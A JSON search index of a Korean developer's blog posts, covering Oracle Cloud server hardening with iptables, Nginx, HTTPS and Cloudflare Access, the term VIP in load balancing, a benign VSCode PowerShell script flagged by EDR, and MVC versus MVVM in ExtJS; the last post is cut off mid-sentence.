[ { "title": "나의 Oracle Cloud Infrastructure 서버 구축기록 - 3", "url": "/posts/my-server-setting-third/", "categories": "Tech, Server", "tags": "인프라, 개발자성장, 개인서버, oci, cloudflare, zero trust", "date": "2025-05-11 20:00:00 +0900", "snippet": " Cloudflare Zero Trust Access를 통한 OTP 인증 게이트 구성기시작하며이전 글에서는 Nginx 리버스 프록시 설정과 HTTPS 기반 통신,그리고 클라우드 및 OS 방화벽 설정 과정을 다뤘다.이번에는 Cloudflare Access를 통해OTP 기반 이메일 인증 게이트를 구성한 실습기를 정리한다. 이 과정에서 마주했던 SSL 모...", "content": " Cloudflare Zero Trust Access를 통한 OTP 인증 게이트 구성기시작하며이전 글에서는 Nginx 리버스 프록시 설정과 HTTPS 기반 통신,그리고 클라우드 및 OS 방화벽 설정 과정을 다뤘다.이번에는 Cloudflare Access를 통해OTP 기반 이메일 인증 게이트를 구성한 실습기를 정리한다. 이 과정에서 마주했던 SSL 모드 설정에 따른 리디렉션 문제,그리고 www.inye.cloud와 inye.cloud 간 인증 정책 적용 차이도 함께 다룬다.Cloudflare Access란?Cloudflare Access는 Zero Trust 보안 모델의 일부로,특정 사용자나 이메일 도메인에 따라 웹 애플리케이션 접근을 제어할 수 있는 서비스다.기본적으로 OTP 기반의 이메일 인증, SSO 연동, IP 기반 제한 등을 설정할 수 있다.처음 내 인증 게이트 구성 목표 inye.cloud, www.inye.cloud 접속 시 이메일 인증 요구 허용된 이메일만 접근 가능하게 구성구성 과정1. SSL 모드 설정 변경 이슈초기에는 Cloudflare의 SSL 모드가 Flexible로 설정되어 있었는데,이 경우 인증 게이트에서 무한 리디렉션 현상이 발생했다. → 이후 Full(strict) 모드로 변경하여 문제를 해결했다.💡 Full(strict): 클라이언트와 Cloudflare 간,Cloudflare와 원본 서버 간 모두 HTTPS이며,원본 서버는 유효한 인증서를 가지고 있어야 한다.2. OTP 인증 정책 적용Cloudflare &gt; Zero Trust &gt; Access &gt; Applications 메뉴에서 다음과 같이 구성했다: www.inye.cloud를 애플리케이션으로 등록 이메일 정책에 개인 이메일(naver, gmail 등)을 넣음 OTP 코드가 메일로 전송되며, 인증된 사용자만 접근 가능3. 인증 정책이 도메인별로 다르게 작동한 이유Cloudflare Access에서는 www.inye.cloud와 inye.cloud를 별도의 Application으로 인식한다.초기 설정 시 www.inye.cloud에는 인증 정책이 적용되지 않아 누구나 접속 가능했고,반면 inye.cloud에서는 이메일 인증을 요구했다.사실 Cloudflare 인증 게이트를 설정하기 전에는,같은 웹페이지에 대해 www.inye.cloud와 inye.cloud 두 도메인 모두에서 접속이 가능하도록 허용해둔 상태였다.그러나 인증 정책뿐 아니라 서비스 운영과 관리 측면에서도하나의 기준 도메인으로 통합하는 것이 유지 보수와 정책 적용에 훨씬 유리하다고 판단했다.특히 Cloudflare Access의 인증 정책이 도메인 단위로 개별 적용되기 때문에정책 설정의 중복을 피하고자 www.inye.cloud를 기준 도메인으로 삼았고,결과적으로는 모든 inye.cloud 요청을 www.inye.cloud로 리디렉션하도록 구성하였다.# 리디렉션 전용 (inye.cloud → www.inye.cloud)server { listen 443 ssl; server_name inye.cloud; ssl_certificate /etc/letsencrypt/live/inye.cloud/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/inye.cloud/privkey.pem; include /etc/letsencrypt/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; return 301 https://www.inye.cloud$request_uri;} 등록되지 않은 이메일을 입력해도, 인증게이트에서는 “등록되지 않은 이메일”임을 알려주지 않는다. (Cloudflare의 정책)마무리하며Cloudflare Access를 이용해 인증 게이트를 구성하면서,실제 운영 환경에서 도메인 단위로 인증 정책을 어떻게 설계하고 적용할 수 있는지 체험해볼 수 있었다.또한 보안 실험을 확장하기 위해 inye-space-two라는 별도의 VM 인스턴스도 구성하였다.해당 서버는 DB 전용 서버로 설정하여, 애플리케이션 서버와 분리된 데이터 계층 구조를 실험해볼 예정이다." }, { "title": "나의 Oracle Cloud Infrastructure 서버 구축기록 - 2", "url": "/posts/my-server-setting-series-two/", "categories": "Tech, Server", "tags": "인프라, 개발자성장, 개인서버, oci, cloudflare, zero trust", "date": "2025-05-02 22:00:00 +0900", "snippet": " Oracle Cloud 서버 방화벽 설정 - 클라우드와 OS인스턴스에 포트를 열기 위한 보안 설정Oracle Cloud에서는 VM 인스턴스를 만들었다고 해서바로 외부에서 접속이 가능한 상태는 아니다.실제로 포트가 열리기 위해선보안 규칙(Security List) 에 명시적으로 포트를 열어주어야 한다.나는 기본으로 생성된 Default Securit...", "content": " Oracle Cloud 서버 방화벽 설정 - 클라우드와 OS인스턴스에 포트를 열기 위한 보안 설정Oracle Cloud에서는 VM 인스턴스를 만들었다고 해서바로 외부에서 접속이 가능한 상태는 아니다.실제로 포트가 열리기 위해선보안 규칙(Security List) 에 명시적으로 포트를 열어주어야 한다.나는 기본으로 생성된 Default Security List는 그대로 두고,fastapi 규칙을 직접 추가했다.내 서버의 Ingress Rule 구성 Source CIDR Protocol Source Port Range Destination Port TCP 80 (HTTP) All 0.0.0.0/0 TCP 443 (HTTPS) All 0.0.0.0/0 💡 0.0.0.0/0은 모든 IP에서의 접근을 허용한다는 뜻이다.Source Port Range가 All인 이유는,클라이언트(브라우저, HTTP 요청 등)는 임의의 ephemeral port (보통 1024~65535 범위)에서 요청을 보내기 때문이다.서버는 80, 443처럼 목적지가 고정되지만, 요청자의 출발 포트는 예측할 수 없으므로 All로 열어야 한다.클라우드 방화벽 설정만으로 충분하지 않다?OCI 보안 리스트에서 포트를 열었는데도 접속이 안 되는 경우가 있다.나도 포트 80, 443을 열어놨지만 아무 응답이 없었다.원인은 서버 내부의 리눅스 방화벽, 즉 iptables 설정 때문이었다.Ubuntu iptables 설정iptables의 유용한 커맨드 모음:sudo iptables -L --line-numbers# input 체인의 정책 확인sudo iptables -L INPUT --line-numbers -n# 정책 번호로 삭제sudo iptables -D INPUT 5# 80 Port 뚫기 # input체인 5번째 rule을 세팅한다. # ens3 인터페이스로 들어오는 트래픽에만 적용한다. (ens3는 ip addr로 확인 가능)# 프로토콜이 TCP인 경우 TCP 모듈을 사용, 목적지 포트 443인 경우 연결 상태 기반 매칭 모듈 사용(state)# 새 연결 요청이거나 이미 설정된 연결일 경우에만 허용sudo iptables -I INPUT 5 -i ens3 -p tcp --dport 443 -m state --state NEW,ESTABLISHED -j ACCEPTsudo iptables -I INPUT 5 -i ens3 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT# 나는 5번째 위치에 삽입하였지만, 룰은 위에서부터 순차로 동작하므로 주의# 참고로 iptables 세팅은 리부팅하면 사라지니 저장을 위해 해당 명령어를 쓴다. sudo iptables-save &gt; /etc/iptables/rules.v4# 복구 시에는 아래 명령어sudo iptables-restore /etc/iptables/rules.v4iptables 명령어를 통해 80, 443을 뚫어주고 시도해보면 연결이 될 것이다.Nginx로 리버스 프록시 구성지금 내 서버는 이렇게 구성되어있다.FastAPI는 외부에서 직접 접근하지 않고,Nginx가 대신 클라이언트의 요청을 받아 내부에서 FastAPI로 전달하는 구조로 구성했다.graph LR user(Client) --&gt;|HTTPS| nginx nginx --&gt;|HTTP loopback| fastapi[FastAPI 127.0.0.1:8000]# FastAPI 리버스 프록시 (www.inye.cloud 전용)server { listen 443 ssl; server_name www.inye.cloud; ssl_certificate /etc/letsencrypt/live/inye.cloud/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/inye.cloud/privkey.pem; include /etc/letsencrypt/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; add_header Strict-Transport-Security \"max-age=63072000; includeSubDomains; preload\" always; location / { proxy_pass http://127.0.0.1:8000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }}해당 nginx 설정에 대해 설명하자면, www.inye.cloud:443으로 들어온 요청은 http://127.0.0.1:8000 (FastAPI WAS)로 전달된다. FastAPI는 외부에 직접 노출되지 않는 구조이다. add_header HSTS를 통해 이 사이트는 HTTPS로만 접속하라는 보안을 강제하였다. include /etc/letsencrypt/options-ssl-nginx.conf 파일 내부에서 ssl_protocols TLSv1.3;로 설정하여, TLS 1.3만 사용하도록 강제하고 있다. 이는 클라이언트와 서버 간의 암호화 통신을 최신 버전의 보안 프로토콜로만 제한하여, 보다 강력한 보안 수준을 확보하기 위함이다. Prerequisite : Gunicorn은 127.0.0.1:8000으로 띄워지도록 systemd에 등록되어있어야한다.certbot을 통해 Let’s Encrypt에서 인증서를 받으면, Nginx 설정에 TLS 관련 ssl_certificate, ssl_certificate_key 경로가 자동으로 추가된다.현재는 단일 서버 환경이기 때문에 Nginx와 FastAPI 간 통신은 HTTP로도 충분하다.그러나 분산 구조에서 Nginx가 프록시 서버 역할만 수행하고,실제 WAS가 별도의 서버에 위치한다면,Zero Trust 모델에서는 내부 통신도 신뢰하지 않기 때문에,HTTPS (또는 mTLS)로 암호화하는 것이 권장된다.다음 글에서는 Cloudflare Access를 통해 OTP 기반 이메일 인증 게이트를 구성한 과정을 정리할 예정이다.초기에는 Full(strict) 모드를 설정하지 않아 무한 리디렉션 문제가 발생했고,www.inye.cloud에서는 그냥 접속이 되었지만, inye.cloud에서는 인증을 요구하는 차이도 있었다.이런 설정 이슈들을 어떻게 해결했는지,Cloudflare에서의 인증 정책을 실제로 어떻게 적용했는지를 중심으로 다음 편에서 이어가겠다." }, { "title": "나의 Oracle Cloud Infrastructure 서버 구축기록 - 1", "url": "/posts/my-server-setting/", "categories": "Tech, Server", "tags": "인프라, 개발자성장, 개인서버, oci, cloudflare, zero trust", "date": "2025-05-02 20:00:00 +0900", "snippet": " Oracle Cloud를 이용해 도메인을 연결하고, HTTPS부터 Cloudflare 인증 게이트까지 직접 구성한 과정을 정리해보았습니다.시작하기 전에도메인을 연결해서 내 클라우드 서버를 구축해봐야겠다는 생각은 전부터 있었다.그렇지만 도메인 비용도 있고,서버 유지비용까지 생각하면 선뜻 손대기 어려웠다.그러다가 Oracle Cloud에서 제공하는 A...", "content": " Oracle Cloud를 이용해 도메인을 연결하고, HTTPS부터 Cloudflare 인증 게이트까지 직접 구성한 과정을 정리해보았습니다.시작하기 전에도메인을 연결해서 내 클라우드 서버를 구축해봐야겠다는 생각은 전부터 있었다.그렇지만 도메인 비용도 있고,서버 유지비용까지 생각하면 선뜻 손대기 어려웠다.그러다가 Oracle Cloud에서 제공하는 Always Free 인스턴스가 있다는 얘기를 듣고,일단 하나 만들어보게 됐다.OCI Always Free 정보기존에 작성한 블로그글에서도,basic auth 실험을 위해 잠깐 써보긴 했지만이번에는 아예 내 서버를 한 번 직접 구성해보자는 생각이 들었다.보안 관련 공부와 인프라 실험을 병행할 수 있는 서버,즉 내가 직접 통제하며 마음껏 실험할 수 있는 안전한 실습 공간을 구축해보고 싶었다.내가 구성한 서버 구조단순히 FastAPI 앱을 띄우는 수준이 아니라,도메인 연결부터 HTTPS 구성, 인증 게이트 적용까지실서비스 못지않은 구조로 직접 구성했다.전체적으로는 다음과 같은 흐름이다. 항목 구성 내용 도메인 inye.cloud 도메인 구입 후(1년 3,300원으로 이벤트 중인 것을 구매했다. 호스팅케이알), Cloudflare 네임서버를 호스팅케이알에 등록 서버 인프라 Oracle Cloud에서 제공하는 Always Free VM 인스턴스 사용 애플리케이션 FastAPI + Gunicorn으로 서버 실행, systemd로 등록해 재부팅 시 자동 시작 Reverse Proxy Nginx를 이용해 외부 요청을 내부 FastAPI로 프록시 처리 HTTPS 구성 Let’s Encrypt 인증서 발급 + certbot.timer로 자동 갱신 설정 TLS 정책 TLS 1.3 only 적용, Cloudflare와 Origin 간에도 HTTPS가 유지되는 Full (strict) 구성 HTTP 리디렉션 80번 포트를 제한적으로 열어, 모든 HTTP 요청을 HTTPS로 301 리디렉션 보안 헤더 HSTS(long duration + preload) 적용, 브라우저 수준에서 HTTPS 강제 방화벽 iptables 및 클라우드 ingress rule을 함께 구성해 이중 방화벽 적용 Cloudflare 연동 Cloudflare proxy를 통해 IP 비공개 Zero Trust 인증 Cloudflare &gt; Zero Trust &gt; Access를 통해 OTP 기반 이메일 로그인 제한 적용, Policy에 등록된 이메일만 로그인 시도 가능 HTTP Strict-Transport-Security(HSTS)에 대해 알아보기지금 상태만 보면 그냥 이메일 인증 후 \"hello world\"가 보이는 루트 페이지 하나뿐이지만,이 구조 위에 어떤 기능이든 안전하게 얹을 수 있는 기반은 모두 갖춰졌다." }, { "title": "서버가 VIP에서 제외된다는 말, 맞는 표현일까?", "url": "/posts/vip-removal-terminology/", "categories": "Tech, Server", "tags": "인프라, 실무기록, 개발개념정리", "date": "2025-04-28 23:00:00 +0900", "snippet": " 웹개발자가 VIP(Virtual IP)용어를 마주쳤을 때, 서비스 아키텍처와 함께 알아간 사연입니다.최근 이런 공지를 받았다. “[호스트명] 서버가 VIP에서 제외될 예정입니다. (시스템 작업)”처음엔 그냥 그러려니 했다. VIP라고? 나에게 VIP는 “Very Important Person”이 전부였다.그래서 검색을 해보니, IT에서 VIP는 ...", "content": " 웹개발자가 VIP(Virtual IP)용어를 마주쳤을 때, 서비스 아키텍처와 함께 알아간 사연입니다.최근 이런 공지를 받았다. “[호스트명] 서버가 VIP에서 제외될 예정입니다. (시스템 작업)”처음엔 그냥 그러려니 했다. VIP라고? 나에게 VIP는 “Very Important Person”이 전부였다.그래서 검색을 해보니, IT에서 VIP는 Virtual IP의 약자였다.VIP는 여러 서버가 존재할 때,클라이언트는 VIP 하나만 알고 있으면 요청을 보낼 수 있게 해주는 논리적인 IP 주소라고 한다.즉, 물리적으로는 여러 대의 서버가 있더라도,VIP를 통해 한 군데처럼 보이게 만들 수 있다는 것이다.여기까지 보고 “아~ 그런 거구나” 하고 관심을 끊었다.그런데 문득 떠오른 생각. 들은 바로는, 우리 아키텍처는 분명 L7 로드밸런서를 사용하고 있고, 클라이언트 요청은 여러 서버로 분산된다.그런데 “서버가 VIP에서 제외된다”는 말은 어딘가 이상하다.만약 해당 서버가 VIP를 직접 갖고 있는 구조라면, 그건 로드밸런싱이 없는 구조 아닌가?정확한 구조는?물론, 정확한 네트워크 아키텍처는 나조차도 모른다.위키에 남아 있는 구조도는 있지만 최신 데이터인지도 확실하지 않고,내가 웹개발자다 보니 인프라 쪽 구조에 대해 상세히 들은 적도 없다.하지만 일반적인 L7 로드밸런서 기반 구조를 생각해보면, 대략 이런 그림이 그려진다:[Client] ↓ VIP (Virtual IP, ex: 10.0.0.100) ↓Reverse Proxy / Load Balancer (예: Nginx, HAProxy) ↓[Server A] [Server B] [Server C]여기서 VIP는 하나의 진입점 IP일 뿐이고,실제로 VIP에 바인딩된 것은 Reverse Proxy 또는 Load Balancer다.그 뒤에 있는 서버들은 로드밸런서의 업스트림(upstream) 서버들일 뿐이다.여기서 ‘업스트림(upstream)’이란,로드밸런서 또는 프록시 서버가 요청을 전달하는 대상 서버를 의미한다.즉, 로드밸런서 입장에서 ‘요청을 위쪽으로 전달할’ 서버들이라는 의미에서 붙은 용어다.따라서 “서버가 VIP에서 제외된다”는 말은,인프라 구조에 익숙하지 않은 개발자 입장에선,마치 VIP가 서버에 직접 바인딩된 것처럼 오해할 여지가 있다.정확한 표현은? “서버가 로드밸런서의 백엔드 풀에서 제외된다.”혹은: “업스트림 대상에서 빠진다.”이런 식으로 표현하는 것이 시스템 구조를 오해하지 않게 만든다.왜 이런 표현이 혼동을 낳았는가? VIP는 하나의 IP 주소일 뿐이며, 실제 요청을 분배하는 주체는 로드밸런서다. “VIP에서 제외”라는 표현은 마치 서버가 VIP를 직접 소유하거나, VIP에 종속된 구조처럼 들린다. 이처럼 용어 선택이 모호하면 시스템 구조에 대한 혼동을 일으킬 수 있고, 협업이나 운영 과정에서 불필요한 커뮤니케이션 오차가 생길 여지도 있다.마무리: 용어 하나가 혼동을 만들 수 있다실제 네트워크 아키텍처를 정확히 알기 어려운 상황일수록, 표현 하나가 시스템 구조에 대한 이해 방식에 미묘한 영향을 줄 수 있다는 점도 염두에 두게 되었다.정확한 용어 선택은, 팀 간 의사소통과 시스템 파악의 첫 단추라는 점에서 더욱 신중해야겠다. 다른 시선이나 피드백이 있다면 알려주세요!" }, { "title": "VSCode PowerShell에서 발생한 이상 탐지 이슈", "url": "/posts/anomaly-detection-in-VSCode/", "categories": "Tech, Security", "tags": "보안, powershell, vscode", "date": "2025-04-17 20:00:00 +0900", "snippet": " 이상탐지 솔루션에서 PowerShell 탐지?개발 도구도 보안 탐지 대상이 될 수 있는 이유를 알아보고 구조 분석해 보았습니다.들어가며최근 개발 중 사용하던 PowerShell 터미널에서, 보안 솔루션에 의해 예상치 못한 탐지가 발생했다.나는 전혀 해당 탐지를 인지하지 못한 상태였다.당시에는 Python 가상환경을 구성하고 있었고, 정확히는 uv ...", "content": " 이상탐지 솔루션에서 PowerShell 탐지?개발 도구도 보안 탐지 대상이 될 수 있는 이유를 알아보고 구조 분석해 보았습니다.들어가며최근 개발 중 사용하던 PowerShell 터미널에서, 보안 솔루션에 의해 예상치 못한 탐지가 발생했다.나는 전혀 해당 탐지를 인지하지 못한 상태였다.당시에는 Python 가상환경을 구성하고 있었고, 정확히는 uv 설치와 관련된 작업 중이었다.도구 내부에 알림창이 하나 떴던 기억이 나지만,방금 내가 실행한 작업 때문일 것 같아 큰 의심 없이 닫아버렸다.하지만 약 30분에서 1시간쯤 후, 보안 관련 검토가 필요하다는 안내를 받았고,정확히 어떤 행위가 탐지되었는지 확인해보게 되었다.결과적으로 탐지 트리거는 보안 솔루션에서 PowerShell 프로세스가 예기치 않게 종료된 것이었으며,이와 함께 자동으로 실행된 VSCode 설치 경로 내의 shellIntegration.ps1 스크립트가 탐지 대상으로 지정되었다.탐지 내용 분석1. 경로 및 파일 확인감지된 파일의 로컬 파일시스템 위치를 따라가보니,해당 스크립트는 터미널 환경 구성 시 자동으로 실행되는 PowerShell 스크립트였고,설치된 개발 도구 구성 요소 중 하나였다.내가 직접 작성한 것도 아니고, 의식해서 다운로드한 것도 아니었다. shellIntegration.ps1이었다. 이 스크립트는 내가 직접 작성한 것도 아니고, 별도로 의식해서 다운로드한 것도 아니었다. VSCode를 설치하면서 함께 포함된 구성 요소였고, 터미널을 사용할 때 자동으로 실행되는 구조였다.2. GitHub 소스 확인검색을 통해 공식 GitHub 저장소에서 동일한 파일을 발견했고, 이는 VSCode의 터미널 관련 기능에 사용되는 내부 스크립트였다.🔗Microsoft 공식 Github Link3. 공식 소스와의 형상 비교탐지된 로컬 파일과 공식 GitHub 저장소의 내용을 직접 diff 비교해보았고,주석 위치 등의 경미한 차이를 제외하면 완전히 동일한 구조임을 확인하였다.이 과정을 통해 외부 조작 또는 변조 가능성은 없음을 스스로 판단할 수 있었다.4. 공식 문서 확인터미널 셸 통합 관련 공식 문서를 보면,🔗Terminal Shell IntegrationVSCode는 PowerShell 등의 터미널에서 향상된 UX를 제공하기 위해 특정 스크립트를 자동으로 삽입하고 실행한다.이 과정은 사용자 개입 없이 이루어지며, 해당 스크립트는 명령어 추적, 프롬프트 장식, 빠른 명령 복원 등 다양한 기능을 담당한다.Prompt() 함수 구조스크립트 내부를 살펴보면 다음과 같은 구조가 있다:#부분발췌function global:Prompt { $FakeCode = [int]!$global:? # NOTE: We disable strict mode for the scope of this function because it unhelpfully throws an # error when $LastHistoryEntry is null, and is not otherwise useful. Set-StrictMode -Off ... # Prompt started # OSC 633 ; A ST $Result += \"$([char]0x1b)]633;A`a\" # Current working directory # OSC 633 ; &lt;Property&gt;=&lt;Value&gt; ST ... # Run the original prompt $OriginalPrompt += $Global:__VSCodeOriginalPrompt.Invoke() $Result += $OriginalPrompt ...}해당 함수를 보았을 때 전부 이해가 가능한 것은 아니었지만, 프롬프트를 조작하고 있는 것은 확실해 보였다.공식문서를 확인하면 VSCode의 terminal에 decoration을 추가하고, 터미널 상단에 명령어를 고정시키는 등(Sticky scroll)의 동작을 수행한다고 한다. 해당 스크립트의 실행 위치 확인은 이쪽에서 하실 수 있습니다. 스크린샷은 wsl에서 실행했을 때 bash쉘을 override하게되어 있는 shellIntegration bash버전입니다.보안 탐지 관점에서 보면,PowerShell이 예기치 않게 종료되는 과정에서 해당 스크립트가 같이 실행되고 있었고,사용자에게 명확히 인식되지 않는 구조인 만큼,특정 상황에서는 이상 행위(anomalous behavior)로 해석될 여지가 있을 수 있다.이러한 문맥에서 PowerShell 프로세스가 강제 종료되는 흐름 속에서 함께 실행된 해당 스크립트가 탐지 대상으로 이어진 것으로 보인다.실제로 탐지 시점과 사용자 활동 로그를 종합하면,관련 실행 흐름은 EDR 또는 유사한 엔드포인트 감시 메커니즘을 통해 수집되었고,SIEM을 통해 연계 분석되었을 가능성이 있다.이는 사용자 관점에서의 합리적인 추정임을 밝힌다.알림은 있었지만, 인식되지 않았다흥미로운 지점은 VSCode가 터미널이 비정상적으로 종료되었다는 내용의 알림(alert)을 띄운 것으로 기억된다는 점이다.정확한 문구는 기억나지 않지만, 해당 메시지가 그와 관련된 것으로 추정된다.하지만 당시 나는 Python 가상환경 설정 중이었고, 알림을 자세히 읽지 않아 “설치 과정에서 생기는 일반적인 메시지겠지”라고 판단하고 곧바로 닫아버렸다.이 경험을 통해 알게 된 점은: 알림이 있다고 해서 사용자가 그 내용을 인식하는 것은 아니다 보안상 중요한 변화도 UX에 묻혀 지나갈 수 있다 사용자 입장에서는 “내가 뭘 실행한 건지”조차 모르는 상황이 충분히 발생할 수 있다경험을 통해 배운 것이 경험은 단순히 알림 하나를 놓친 게 아니라,개발 환경에서 “무심코 넘어가는 자동화”가 실제 보안 탐지로 이어질 수 있다는 것을 체감하게 해줬다.특히 shellIntegration.ps1처럼,“누가 실행했는지조차 명확하지 않은” 자동 실행 스크립트는사용자는 인식조차 하지 못하게되고,더욱이 강제종료된 상황에 같이 실행되었다면,보안 솔루션은 그것을 의심스러운 행위로 간주할 수 있다.보안은 코드의 내용뿐 아니라 그 행위의 시점과 맥락을 본다.해당 스크립트에 대한 추가 검토가 이루어진 뒤, 이슈가 종료된 것으로 보였다.이 사건은 단순한 시그니처 기반 탐지가 아니라, 이벤트 수집 시스템(SIEM 등)을 통해 발생한 것으로 추정되며,그리고 그와 충돌할 수 있는 개발자 경험의 자동화 구조를 모두 경험할 수 있는 계기였다.유사 상황 발생 시 대응 전략 우선 탐지된 파일의 경로와 출처를 먼저 확인한다. 공식 문서와 GitHub 등에서 근거 확보 후, 정리된 형태로 설명 준비 개발 도구 내부에서 실행되는 스크립트도 항상 잠재적인 보안 탐지 대상임을 인지할 것 이 글은 업무 중 발생한 실제 사례를 개인적인 관점에서 정리한 기술적 분석입니다." }, { "title": "MVVM이라 들었지만, MVC였던 구조를 읽어내기까지", "url": "/posts/extjs-structure-reflection/", "categories": "Tech", "tags": "extjs, 프론트엔드, 개발자성장, 실무기록, 회고", "date": "2025-04-12 18:00:00 +0900", "snippet": " 비주류 프레임워크에서 구조를 읽어본 관찰일지입니다.1. JSP만 하다 처음 만난 프론트 프레임워크 — 그리고 3년 후웹 개발을 처음 배울 땐 JSP로만 작업했다.프론트엔드 프레임워크라는 건, 그때까지만 해도 나와는 먼 이야기였다.실무에서 처음 extJS를 마주하였다.그 안에 있는 구조들 — MVVM, ViewModel, store — 전부 생소했다...", "content": " 비주류 프레임워크에서 구조를 읽어본 관찰일지입니다.1. JSP만 하다 처음 만난 프론트 프레임워크 — 그리고 3년 후웹 개발을 처음 배울 땐 JSP로만 작업했다.프론트엔드 프레임워크라는 건, 그때까지만 해도 나와는 먼 이야기였다.실무에서 처음 extJS를 마주하였다.그 안에 있는 구조들 — MVVM, ViewModel, store — 전부 생소했다.처음에는 그냥 “store? 영어 뜻 그대로 데이터 저장하는 곳?”하고 지나쳤다.그 구조를 ‘해석’해볼 생각은 아예 없었다.그게 벌써 3년 전이다.최근에는 JSP와 함께 쓰인 Dojo 기반 레거시 프레임워크를 분석하다가,문득 현재 쓰는 프레임워크의 구조를 다시 들여다보고 싶어졌다.그땐 무심히 넘겼지만, 지금은“정말 이 구조가 MVVM이라고 할 수 있을까?”“Controller에서 직접 store를 조작한 그 판단은, 구조적으로 의미 있었던 흐름이었을까?”라는 질문이 생겼다. 이 글은 extJS의 패턴을 깊이 있게 분석하거나리팩터링을 제안하려는 글이 아니다.단지 내가 실무 중 마주쳤던 구조를지금 시점에서 다시 읽어보고,납득 가능한 흐름이었는지를 정리해보려는 기록이다.2. 처음엔 MVVM이라길래 그런 줄 알았다extJS는 MVVM 구조를 따른다고 설명되어 있었다.View, ViewModel, Controller, Store — 문서도 구조도 그 틀을 따른다.공식문서당시에는 까마득한 선배 개발자께서 “이건 MVVM 구조로 짜여 있다”고 설명하셨고,실제로 ViewModel 파일도 있었기 때문에 “아 그렇구나” 하고 받아들였다.그런데 막상 작업을 하다 보면 Controller가 계속 등장해서 상태를 제어하고,store도 직접 다루고 있어서 “이게 MVVM 맞나…?” 하는 의문이 들었다.그렇다고 MVC라고 단정 지을 자신도 없었고,나보다 훨씬 경험 많은 분이 설명하신 구조이기도 해서그냥 “아 그런가보다” 하고 받아들인 채 코드를 쓰고 있었다.그리고 지금에서야, 그때 느꼈던 어색함이 구조적인 판단의 시작이었구나 싶다.MVVM vs MVC 구조 비교MVVM과 MVC의 핵심 구조 차이를 표로 정리하면 다음과 같다: 패턴 View 역할 Controller 역할 ViewModel Store 상태 변경 방식 MVVM 사용자 입력 수신 및 UI 표시 없음 또는 최소화됨 상태 관리 중심 핵심 계층 바인딩을 통한 자동 동기화 MVC 사용자 입력 수신 및 UI 표시 로직 중심, 상태 직접 처리 없음 또는 형식적으로 존재 없음 또는 직접 사용 Controller가 직접 조작 두 구조의 실제 구성 관계는 흐름 중심으로 보면 더 잘 이해된다:classDiagram class View { +UI 요소 표시 +사용자 입력 수신 } class Controller { +사용자 입력 처리 +Model 업데이트 +View 갱신 } class ViewModel { +Model 데이터 변환 +View와 데이터 바인딩 } class Model { +데이터 관리 +비즈니스 로직 처리 } View --&gt; Controller : MVC Controller --&gt; Model : MVC Controller --&gt; View : MVC View --&gt; ViewModel : MVVM ViewModel --&gt; Model : MVVM ViewModel --&gt; View : MVVM3. 이건 상태 변경인가? UI 흐름 제어인가?당시 나는 MVVM 구조라고 들었기 때문에,Controller에서 store를 직접 조작하는 게뭔가 잘못된 흐름처럼 느껴졌었다.그래서 이 동작이 정말 상태 변경을 의미하는 건지,아니면 단순한 UI 흐름 제어인지 계속 고민하게 됐다.this.lookupReference('myCombo').getStore().loadData([ { value: '', label: '선택하세요' }, ...apiResponse]);해당 코드는 comboBox에 ‘선택하세요’라는 mock 값을 넣는 기능이었다.이 값은 서버에서 오는 실제 데이터가 아니었고,사용자 친절을 위한 프론트엔드 임시 데이터였다.나는 이걸 도메인 상태의 일부가 아니라, UI 흐름을 위한 표시라고 판단했다.결과적으로 지금 다시 보면,이 구조는 MVVM보다는 MVC에 가까웠고,Controller가 이런 데이터를 직접 주입하는 건그 자체로 이상한 게 아니었다.오히려 이 타이밍에서 판단하고 값을 넣는 게 구조적으로 더 명확한 책임 분리였을 수도 있다는 생각이 들었다.그 당시에는 구조에 대한 확신도 없고,설계 기준도 온전히 이해하지 못했지만,그런 작은 위화감이 구조를 납득하려는 시도로 이어졌다.당시에는 mock 데이터를 넣는 로직이 afterrender 시점에 정의되어 있었는데,그게 왜 거기 있는지도 모르고, 그냥 “그런가 보다” 하고 넘겼다.기억을 바탕으로 재구성한 코드입니다listeners: { afterrender: function () { const store = this.lookupReference('myCombo').getStore(); store.loadData([ { value: '', label: '선택하세요' }, ...apiResponse ]); }}하지만 지금 다시 보면,렌더링 이후 시점에서 mock 데이터를 넣는 방식은 UI가 준비된 이후에 값을 주입하고 서버 데이터와 사용자 경험용 mock 데이터를 분리하며 흐름상 더 깔끔한 구조를 만들고 있었다.당시에는 controller가 직접 store를 조작하는 게 어색하게 느껴졌지만,코드 흐름 자체는 이해 가능한 선에서 움직이고 있었기 때문에그냥 “MVVM이 원래 이렇게 쓰이는 건가 보다” 하고 받아들였었다.4. 구조를 해석해보니, Controller가 ViewModel이었다프로젝트 전반을 다시 들여다보면 확실했다.ViewModel은 존재하긴 했지만, 대부분의 흐름은 Controller가 다루고 있었다.Controller는 View와의 이벤트 연결, 상태 판단, store 조작까지 모두 관여했다.결국 ViewModel은 형식적으로 존재했을 뿐,실제로는 Controller가 ViewModel 역할까지 떠맡고 있는 구조였다.결국 이 구조는 엄밀한 의미에서 MVVM이라고 보긴 어려웠고,오히려 MVC를 중심에 두되,ViewModel이 일부 남아 있는 구조 —즉, “MVC에 MVVM을 살짝 곁들인 형태”에 가까웠다.ViewModel기억을 바탕으로 재구성한 코드입니다 data: { visibleYn: 'Y' }, formulas: { isVisible: function(get) { return get('visibleYn') === 'Y'; } }View기억을 바탕으로 재구성한 코드입니다items: [{ xtype: 'component', bind: { hidden: '{!isVisible}' }}]5. 내가 맡고 있는 역할과 구조 감각나는 웹 애플리케이션을 개발하는 팀에서기능 단위로 프론트와 백엔드를 모두 담당하는 풀스택 개발자로 일하고 있다.팀 구조상 하나의 요청이 오면 화면부터 API, 도메인 로직, DB까지수직 계층 전체를 내가 처리하는 흐름이다.그래서 구조를 볼 때 기술 계층별로 나누기보다는,기능 흐름 단위로 책임과 위치를 판단하게 된다.프론트든 백엔드든, 사실 실무에서는때로는 깊이 있게 파고들고,때로는 별 생각 없이 기존 코드를 복붙하면서 처리할 때도 많다.그런데 어느 날 문득,“이 코드는 왜 여기 있어야 했을까?”,“이 흐름은 구조적으로 말이 되는가?”라는 질문이 들었던 순간이 있었다.이 글은 그런 흐름 안에서,내가 실제 맡은 코드 안에서 구조를 어떻게 